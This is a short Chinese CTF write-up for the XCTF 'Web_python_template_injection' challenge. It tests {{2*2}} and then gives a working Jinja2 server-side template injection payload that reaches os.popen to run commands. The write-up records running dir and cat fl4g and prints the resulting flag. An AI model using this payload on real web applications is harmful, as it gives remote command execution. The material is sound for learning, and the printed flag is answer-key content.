攻防世界writeup-进阶区

Web.

1.Web_python_template_injection

• 模板注入
• http://111.200.241.244:53155/{{2*2}}回显如下：

URL http://111.200.241.244:53155/4 not found

• 手注payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('命令').read()")}}{% endif %}{% endfor %}

• 依次执行dir，cat fl4g ，得到flag

URL http://111.200.241.244:53155/fl4g index.py not found

URL http://111.200.241.244:53155/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found

---

2.